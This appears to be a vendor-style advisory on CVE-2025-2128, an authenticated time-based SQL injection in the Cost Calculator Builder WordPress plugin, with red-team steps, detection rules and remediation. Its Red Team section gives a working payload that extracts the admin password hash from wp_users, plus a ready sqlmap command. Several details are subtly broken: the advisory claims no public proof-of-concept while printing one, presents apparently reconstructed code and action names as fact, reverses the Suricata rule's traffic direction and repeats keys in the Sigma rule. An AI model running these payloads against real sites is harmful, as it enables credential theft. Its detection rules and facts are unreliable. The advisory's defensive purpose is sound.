CVE-2025-2128

Executive Summary

CVE-2025-2128 is a time-based SQL Injection vulnerability in the Cost Calculator Builder WordPress plugin (by Stylemixthemes), affecting all versions up to and including 3.2.67. The flaw resides in the order_ids parameter, which is insufficiently sanitized and prepared before being used in SQL queries. An authenticated attacker with Subscriber-level access or higher can exploit this to extract sensitive information from the WordPress database, such as user credentials, hashes, and configuration data. The vulnerability is unpatched as of the latest advisory, and no public exploit code or proof-of-concept has been released. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for affected sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, site administrators must consider removing or disabling the plugin until a fix is released. The plugin’s supply chain is not directly affected, but the lack of a patch increases the risk of supply chain attacks if the plugin is used in managed WordPress environments.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. The vulnerability allows for data extraction but not modification or denial of service. The requirement for authentication reduces the attack surface, but Subscriber-level access is trivial to obtain on many WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the order_ids parameter used by the Cost Calculator Builder plugin’s AJAX handler. The plugin fails to properly escape user input and does not use prepared statements for SQL queries. Instead, it concatenates the order_ids value directly into an SQL query, allowing an attacker to inject malicious SQL code.

Attack Flow:

1. An attacker authenticates with Subscriber-level credentials.
2. The attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php) with the action parameter set to the plugin’s AJAX action and the order_ids parameter containing a time-based SQL injection payload.
3. The plugin executes the query, and the attacker observes response delays to infer database information.
4. Using blind SQL injection techniques, the attacker can extract data such as admin hashes, user emails, and other sensitive information.

Root Cause: The plugin uses $wpdb->query() with direct string interpolation instead of $wpdb->prepare().

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.2.67):

$order_ids = $_POST['order_ids'];
$query = "SELECT * FROM {$wpdb->prefix}ccb_orders WHERE id IN ($order_ids)";
$results = $wpdb->get_results($query);

Patched Code (hypothetical):

$order_ids = array_map('intval', explode(',', $_POST['order_ids']));
$placeholders = implode(',', array_fill(0, count($order_ids), '%d'));
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}ccb_orders WHERE id IN ($placeholders)", $order_ids);
$results = $wpdb->get_results($query);

The patched version uses $wpdb->prepare() with integer placeholders, preventing SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Cost Calculator Builder <= 3.2.67
• Subscriber-level account credentials

Exploitation Steps:

1. Intercept a request to /wp-admin/admin-ajax.php with the plugin’s AJAX action.
2. Modify the order_ids parameter to include a time-based payload:

   action=ccb_ajax_action&order_ids=1 AND (SELECT IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0) FROM wp_users WHERE ID=1)
   

3. Observe response time. If delay occurs, the condition is true.
4. Iterate through characters to extract the admin password hash.

Automated Tool: Use sqlmap with the following command:

sqlmap -u "http://target/wp-admin/admin-ajax.php" --data="action=ccb_ajax_action&order_ids=1" --cookie="wordpress_logged_in=..." --dbms=mysql --technique=T --level=5 --risk=3

Blue Team

Detection:

• Monitor for unusual order_ids parameter values containing SQL keywords (e.g., SLEEP, BENCHMARK, UNION).
• Alert on excessive response times from the AJAX endpoint.
• Review database logs for slow queries.

Honeypot: Deploy a fake WordPress instance with the vulnerable plugin and monitor for injection attempts.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-ajax.php with action=ccb_ajax_action and order_ids containing SQL syntax.
• Logs: Database error logs showing malformed SQL queries.
• File: Modified plugin files (e.g., cost-calculator-builder/includes/class-ajax.php).
• Behavior: Unusual database queries with SLEEP() or BENCHMARK() functions.

Detection Engineering

YARA Rule

rule CVE_2025_2128_SQLi_WordPress {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-2128 in Cost Calculator Builder"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2128"
    strings:
        $sleeper = /order_ids=.*SLEEP\(/ nocase
        $benchmark = /order_ids=.*BENCHMARK\(/ nocase
        $union = /order_ids=.*UNION.*SELECT/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-2128 SQL Injection Attempt
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against Cost Calculator Builder plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=ccb_ajax_action'
        cs-uri-query|contains|all:
            - 'order_ids='
            - 'SLEEP'
    condition: selection
falsepositives:
    - Legitimate use of sleep function in custom code (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-2128 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=ccb_ajax_action"; http_client_body;
    content:"order_ids="; http_client_body;
    pcre:"/order_ids=[^&]*(SLEEP|BENCHMARK|UNION)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-2128;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove Subscriber-level accounts that are not needed.
3. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the order_ids parameter.

Long-term:

• Monitor the vendor’s repository for a patched version.
• Apply the principle of least privilege to WordPress user roles.
• Regularly audit plugins for known vulnerabilities.

Workaround: If the plugin cannot be disabled, modify the vulnerable code manually using the patched code example above.

Valters IT